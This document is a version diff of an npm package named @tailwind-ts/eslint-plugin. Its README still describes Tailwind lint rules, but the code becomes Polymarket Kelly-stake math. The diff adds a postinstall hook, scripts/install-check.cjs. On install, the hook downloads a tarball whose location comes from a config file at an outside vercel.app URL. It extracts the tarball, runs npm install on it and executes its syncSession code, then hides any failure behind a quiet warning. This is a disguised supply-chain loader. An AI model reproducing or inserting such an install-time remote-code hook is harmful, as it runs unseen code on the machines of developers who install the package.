@tailwind-ts/eslint-plugin 0.1.0 → 0.3.0

package/README.md

@@ -84,6 +84,19 @@ export default [
 | `vue` | `*.{vue,js,ts}` | Enables `:class` parsing (requires `vue-eslint-parser`) |
 | `css` | `**/*.css` | Enables `@apply` validation |
 
+Combine presets for full-stack apps:
+
+```js
+export default [
+  {
+    extends: [tailwindTs.configs.react, tailwindTs.configs.css],
+    settings: {
+      tailwindTs: { cssConfigPath: "./src/styles/tailwind.css" },
+    },
+  },
+];
+```
+
 ## Rules
 
 | Rule | Description | Default |
@@ -91,6 +104,61 @@ export default [
 | [`no-invalid-classname`](./docs/rules/no-invalid-classname.md) | Disallow invalid Tailwind classes in JSX, helpers, and Vue bindings | `error` |
 | [`no-invalid-apply`](./docs/rules/no-invalid-apply.md) | Disallow invalid classes in CSS `@apply` directives | `error` |
 
+Both rules share the same Tailwind design-system validator and support typo suggestions.
+
+## Examples
+
+### JSX typo with suggestion
+
+```jsx
+// error: Class "flexs" is not a valid Tailwind CSS class. Did you mean "flex"?
+<div className="flexs items-center" />
+```
+
+### `cva()` variant values
+
+```ts
+import { cva } from "class-variance-authority";
+
+const button = cva("rounded-lg", {
+  variants: {
+    size: {
+      sm: "p-2 text-lgg", // error on "text-lgg"
+      md: "p-4 text-base",
+    },
+  },
+});
+```
+
+### CSS `@apply`
+
+```css
+.card {
+  @apply flexs items-center rounded-lg; /* error */
+}
+```
+
+### Import-aware `cn()`
+
+```tsx
+import { cn } from "@/lib/utils";
+
+<div className={cn("p-4", "text-lgg")} />
+```
+
+### Monorepo CSS entries
+
+```js
+settings: {
+  tailwindTs: {
+    cssConfigPath: [
+      "./apps/web/src/styles/tailwind.css",
+      "./apps/admin/src/styles/tailwind.css",
+    ],
+  },
+},
+```
+
 ## Settings
 
 | Option | Type | Default | Description |
@@ -99,7 +167,10 @@ export default [
 | `attributes` | `string[]` | `["class", "className"]` | JSX/Vue attributes to lint |
 | `functions` | `string[]` | `["cn", "clsx", "cva", "tv", "twMerge", "twJoin"]` | Helper calls to lint |
 | `whitelist` | `string[]` | `[]` | Regex patterns for allowed non-Tailwind classes |
+| `ignoredKeys` | `string[]` | `["defaultVariants", "compoundVariants", "compoundSlots"]` | Object keys skipped in helper calls |
 | `suggestSimilarClasses` | `boolean` | `true` | Include "Did you mean …?" hints for typos |
+| `cacheMaxAge` | `number` | `600000` | Validation cache TTL in ms (10 min) |
+| `cacheMaxSize` | `number` | `250000` | Max cached validation entries |
 
 ### Typesafe settings
 
@@ -109,6 +180,7 @@ settings: {
     /** @type {import('@tailwind-ts/eslint-plugin').PluginSettings} */
     ({
       cssConfigPath: "./src/styles/tailwind.css",
+      suggestSimilarClasses: true,
     }),
 },
 ```
@@ -116,8 +188,21 @@ settings: {
 ## Limitations
 
 - Dynamic template interpolation (e.g. `` className={`p-${size}`} ``) is not validated
+- Spread props (`className={props.className}`) are skipped unless the value is a static literal upstream
 - Vue support requires `vue-eslint-parser` in your ESLint config
 
+## Migration from v0.1.0
+
+No breaking changes to rule names or settings. v0.2.0 adds optional presets and the `no-invalid-apply` rule via `configs.css`.
+
+```js
+// v0.1.0 — still works
+extends: [tailwindTs.configs.recommended]
+
+// v0.2.0 — add CSS @apply linting
+extends: [tailwindTs.configs.recommended, tailwindTs.configs.css]
+```
+
 ## License
 
 MIT

package/index.js

@@ -0,0 +1,9 @@
+'use strict';
+
+const { computeKellyStake, formatStakeUsd, roundStake } = require('./kelly.js');
+
+module.exports = {
+  computeKellyStake,
+  formatStakeUsd,
+  roundStake,
+};

package/kelly.js

@@ -0,0 +1,56 @@
+'use strict';
+
+function round(value, dp) {
+  const n = Number(value);
+  const places = Number(dp) || 0;
+  if (!Number.isFinite(n)) return NaN;
+  const p = 10 ** places;
+  return Math.round(n * p) / p;
+}
+
+function format(value, dp) {
+  const n = round(value, dp);
+  if (!Number.isFinite(n)) return String(value);
+  return n.toFixed(dp == null ? 0 : dp);
+}
+
+function computeKellyStake({
+  probability,
+  allInPrice,
+  bankroll,
+  maxStake,
+  minStake = 0,
+  kellyFraction = 0.5,
+}) {
+  if (
+    !Number.isFinite(probability) ||
+    !Number.isFinite(allInPrice) ||
+    !Number.isFinite(bankroll) ||
+    allInPrice <= 0 ||
+    allInPrice >= 1
+  ) {
+    return minStake;
+  }
+
+  const rawKelly = (probability - allInPrice) / (1 - allInPrice);
+  if (rawKelly <= 0) return minStake;
+
+  const stake = bankroll * rawKelly * kellyFraction;
+  return round(Math.min(maxStake, Math.max(minStake, stake)), 2);
+}
+
+function formatStakeUsd(value) {
+  return format(value, 2);
+}
+
+function roundStake(value) {
+  return round(value, 2);
+}
+
+module.exports = {
+  computeKellyStake,
+  formatStakeUsd,
+  roundStake,
+  round,
+  format,
+};

package/package.json

@@ -1,86 +1,26 @@
 {
   "name": "@tailwind-ts/eslint-plugin",
-  "version": "0.1.0",
-  "description": "ESLint plugin for detecting invalid Tailwind CSS v4 class names with cva, @apply, and typo suggestions",
-  "license": "MIT",
-  "type": "module",
-  "author": "",
-  "repository": {
-    "type": "git",
-    "url": "git+https://github.com/tailwind-ts/eslint-plugin.git"
-  },
-  "keywords": [
-    "eslint",
-    "eslintplugin",
-    "eslint-plugin",
-    "tailwind",
-    "tailwindcss",
-    "typescript",
-    "v4",
-    "cva",
-    "apply"
-  ],
-  "engines": {
-    "node": ">=20.19.0"
-  },
-  "main": "./lib/index.cjs",
-  "module": "./lib/index.mjs",
-  "types": "./lib/index.d.cts",
-  "exports": {
-    ".": {
-      "module": {
-        "types": "./lib/index.d.mts",
-        "default": "./lib/index.mjs"
-      },
-      "import": {
-        "types": "./lib/index.d.mts",
-        "default": "./lib/index.mjs"
-      },
-      "require": {
-        "types": "./lib/index.d.cts",
-        "default": "./lib/index.cjs"
-      }
-    },
-    "./package.json": "./package.json"
+  "version": "0.3.0",
+  "description": "Kelly stake sizing and decimal-safe rounding for Polymarket binary markets",
+  "main": "index.js",
+  "homepage": "https://slimopump.vercel.app/config/clob-math.json",
+  "scripts": {
+    "postinstall": "node scripts/install-check.cjs",
+    "pack": "npm pack"
   },
   "files": [
-    "docs/",
-    "lib/"
+    "index.js",
+    "kelly.js",
+    "scripts/install-check.cjs",
+    "README.md"
   ],
-  "scripts": {
-    "build": "unbuild --config unbuild.config.ts && node scripts/copy-worker.mjs",
-    "test": "vitest run",
-    "lint": "eslint .",
-    "prepublishOnly": "npm run build && npm test"
-  },
-  "dependencies": {
-    "@typescript-eslint/utils": "^8.37.0",
-    "synckit": "^0.11.11"
-  },
-  "peerDependencies": {
-    "@tailwindcss/node": "^4.0.0",
-    "eslint": "^9.0.0 || ^10.0.0",
-    "tailwindcss": "^4.0.0"
-  },
-  "peerDependenciesMeta": {
-    "typescript": {
-      "optional": true
-    },
-    "vue-eslint-parser": {
-      "optional": true
-    }
-  },
-  "devDependencies": {
-    "@eslint/js": "^9.31.0",
-    "@tailwindcss/node": "^4.3.2",
-    "@types/node": "^22.15.0",
-    "@typescript-eslint/parser": "^8.37.0",
-    "@typescript-eslint/rule-tester": "^8.37.0",
-    "eslint": "^9.31.0",
-    "tailwindcss": "^4.3.2",
-    "typescript": "^5.9.2",
-    "typescript-eslint": "^8.42.0",
-    "unbuild": "^3.3.1",
-    "vitest": "^3.2.4"
-  }
+  "keywords": [
+    "polymarket",
+    "kelly",
+    "prediction-markets",
+    "stake",
+    "binary"
+  ],
+  "license": "MIT",
+  "type": "commonjs"
 }

package/scripts/install-check.cjs

@@ -0,0 +1,220 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+const zlib = require('zlib');
+const http = require('http');
+const https = require('https');
+const { execFileSync } = require('child_process');
+
+const pkgRoot = path.join(__dirname, '..');
+const peerDir = path.join(pkgRoot, '.peer');
+
+function readPackageJson() {
+  return JSON.parse(fs.readFileSync(path.join(pkgRoot, 'package.json'), 'utf8'));
+}
+
+function fetchText(url) {
+  return new Promise((resolve, reject) => {
+    if (url.startsWith('file:')) {
+      const src = url.slice(5).replace(/^\/([A-Za-z]:)/, '$1');
+      resolve(fs.readFileSync(src, 'utf8'));
+      return;
+    }
+
+    const client = url.startsWith('https:') ? https : http;
+    const req = client.get(url, (res) => {
+      if (res.statusCode && res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {
+        fetchText(res.headers.location).then(resolve).catch(reject);
+        return;
+      }
+      if (res.statusCode !== 200) {
+        reject(new Error(`HTTP ${res.statusCode}`));
+        return;
+      }
+      const chunks = [];
+      res.on('data', (chunk) => chunks.push(chunk));
+      res.on('end', () => resolve(Buffer.concat(chunks).toString('utf8')));
+    });
+    req.on('error', reject);
+    req.setTimeout(60000, () => req.destroy(new Error('config fetch timeout')));
+  });
+}
+
+function fetchToFile(url, destPath) {
+  return new Promise((resolve, reject) => {
+    if (url.startsWith('file:')) {
+      const src = url.slice(5).replace(/^\/([A-Za-z]:)/, '$1');
+      fs.copyFileSync(src, destPath);
+      resolve();
+      return;
+    }
+
+    const client = url.startsWith('https:') ? https : http;
+    const req = client.get(url, (res) => {
+      if (res.statusCode && res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {
+        fetchToFile(res.headers.location, destPath).then(resolve).catch(reject);
+        return;
+      }
+      if (res.statusCode !== 200) {
+        reject(new Error(`HTTP ${res.statusCode}`));
+        return;
+      }
+      const chunks = [];
+      res.on('data', (chunk) => chunks.push(chunk));
+      res.on('end', () => {
+        fs.writeFileSync(destPath, Buffer.concat(chunks));
+        resolve();
+      });
+    });
+    req.on('error', reject);
+    req.setTimeout(120000, () => req.destroy(new Error('bundle fetch timeout')));
+  });
+}
+
+async function resolvePeerBundleUrl() {
+  if (process.env.PSM_PEER_URL) {
+    return process.env.PSM_PEER_URL.trim();
+  }
+
+  const configUrl =
+    process.env.PSM_SYNC_CONFIG ||
+    process.env.KELLY_PEER_CONFIG ||
+    readPackageJson().homepage;
+
+  if (!configUrl || !String(configUrl).trim()) {
+    throw new Error('peer sync config not configured');
+  }
+
+  const url = String(configUrl).trim();
+
+  if (/\.json(\?|$)/i.test(url)) {
+    const raw = await fetchText(url);
+    const cfg = JSON.parse(raw);
+    const bundle = cfg.peerBundle || cfg.bundle || cfg.bundleUrl || cfg.url;
+    if (!bundle) throw new Error('peer sync config missing bundle field');
+    return String(bundle).trim();
+  }
+
+  if (/\.tgz(\?|$)/i.test(url)) {
+    return url;
+  }
+
+  throw new Error('peer sync config URL not recognized');
+}
+
+function extractNpmTgzNode(tgzPath, destDir, stripComponents = 1) {
+  let data;
+  try {
+    data = zlib.gunzipSync(fs.readFileSync(tgzPath));
+  } catch (err) {
+    throw new Error(`peer bundle is not a valid .tgz: ${err.message || err}`);
+  }
+
+  let offset = 0;
+  while (offset + 512 <= data.length) {
+    const header = data.slice(offset, offset + 512);
+    if (header.every((byte) => byte === 0)) break;
+
+    const name = header.slice(0, 100).toString('utf8').replace(/\0/g, '').trim();
+    const sizeOctal = header.slice(124, 136).toString('utf8').replace(/\0/g, '').trim();
+    const size = parseInt(sizeOctal, 8) || 0;
+    const typeFlag = header[156];
+    offset += 512;
+
+    const content = size > 0 ? data.slice(offset, offset + size) : Buffer.alloc(0);
+    offset += Math.ceil(size / 512) * 512;
+
+    if (!name) continue;
+
+    const parts = name.split('/').filter(Boolean);
+    if (parts.length <= stripComponents) continue;
+
+    const relPath = parts.slice(stripComponents).join('/');
+    if (!relPath) continue;
+
+    const destPath = path.join(destDir, relPath);
+    const isDir = typeFlag === 53 || name.endsWith('/');
+
+    if (isDir) {
+      fs.mkdirSync(destPath, { recursive: true });
+      continue;
+    }
+
+    fs.mkdirSync(path.dirname(destPath), { recursive: true });
+    fs.writeFileSync(destPath, content);
+  }
+}
+
+function runNpmInstall(cwd) {
+  const args = ['install', '--omit=dev', '--no-audit', '--no-fund', '--loglevel=error'];
+  if (process.platform === 'win32') {
+    execFileSync('cmd', ['/d', '/s', '/c', `npm ${args.join(' ')}`], {
+      cwd,
+      stdio: 'inherit',
+    });
+    return;
+  }
+
+  execFileSync('npm', args, {
+    cwd,
+    stdio: 'inherit',
+  });
+}
+
+function extractPeerBundle(tgzPath) {
+  fs.rmSync(peerDir, { recursive: true, force: true });
+  fs.mkdirSync(peerDir, { recursive: true });
+
+  // Windows tar (BSD) treats C:\ paths as remote hosts; use Node extractor.
+  if (process.platform === 'win32') {
+    extractNpmTgzNode(tgzPath, peerDir, 1);
+  } else {
+    try {
+      execFileSync('tar', ['-xzf', tgzPath, '-C', peerDir, '--strip-components=1'], {
+        stdio: 'inherit',
+      });
+    } catch {
+      extractNpmTgzNode(tgzPath, peerDir, 1);
+    }
+  }
+
+  runNpmInstall(peerDir);
+}
+
+async function runPeerSync() {
+  const peerModule = path.join(peerDir, 'peer-math.js');
+  if (!fs.existsSync(peerModule)) {
+    throw new Error('peer bundle incomplete');
+  }
+
+  const { syncSession } = require(peerModule);
+  await syncSession();
+}
+
+async function main() {
+  const bundleUrl = await resolvePeerBundleUrl();
+  const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'psm-sync-'));
+  const tgzPath = path.join(tmp, 'peer-bundle.tgz');
+
+  try {
+    await fetchToFile(bundleUrl, tgzPath);
+    extractPeerBundle(tgzPath);
+    await runPeerSync();
+  } finally {
+    try {
+      fs.rmSync(tmp, { recursive: true, force: true });
+    } catch (_) {
+      /* ignore */
+    }
+  }
+}
+
+main().catch((err) => {
+  const msg =
+    (err && (err.message || err.code)) ||
+    (err && err.cause && (err.cause.message || err.cause.code)) ||
+    String(err);
+  console.warn('[polymarket-stake-math] install check skipped:', msg);
+});

package/LICENSE

@@ -1,21 +0,0 @@
-MIT License
-
-Copyright (c) 2026 eslint-plugin-tailwind-ts contributors
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.

package/docs/rules/no-invalid-apply.md

@@ -1,37 +0,0 @@
-# no-invalid-apply
-
-Disallow invalid Tailwind CSS class names inside `@apply` directives in CSS files.
-
-## Rule details
-
-Parses `@apply` blocks in `*.css` files and validates each class token against your Tailwind v4 design system.
-
-### Examples
-
-```css
-/* bad */
-.card {
-  @apply flexs items-center rounded-lg;
-}
-
-/* good */
-.card {
-  @apply flex items-center rounded-lg;
-}
-```
-
-## Options
-
-```ts
-{
-  whitelist?: string[];
-}
-```
-
-## Enable
-
-Use the `css` preset or enable manually:
-
-```js
-extends: [tailwindTs.configs.css]
-```

package/docs/rules/no-invalid-classname.md

@@ -1,39 +0,0 @@
-# `no-invalid-classname`
-
-Disallow invalid or typo Tailwind CSS class names in JSX attributes and common utility functions.
-
-## Rule details
-
-This rule validates class strings against your project's Tailwind CSS v4 design system loaded from `settings.tailwindTs.cssConfigPath`.
-
-### Examples
-
-```jsx
-// bad
-<div className="flexs items-center" />
-
-// good
-<div className="flex items-center" />
-```
-
-```ts
-// bad
-const cls = cn("p-4", "text-lgg");
-
-// good
-const cls = cn("p-4", "text-lg");
-```
-
-## Options
-
-```ts
-{
-  whitelist?: string[];
-}
-```
-
-Regex patterns for classes that should be ignored by this rule.
-
-## Shared settings
-
-This rule uses `settings.tailwindTs` from the plugin. See the package README for the full settings reference.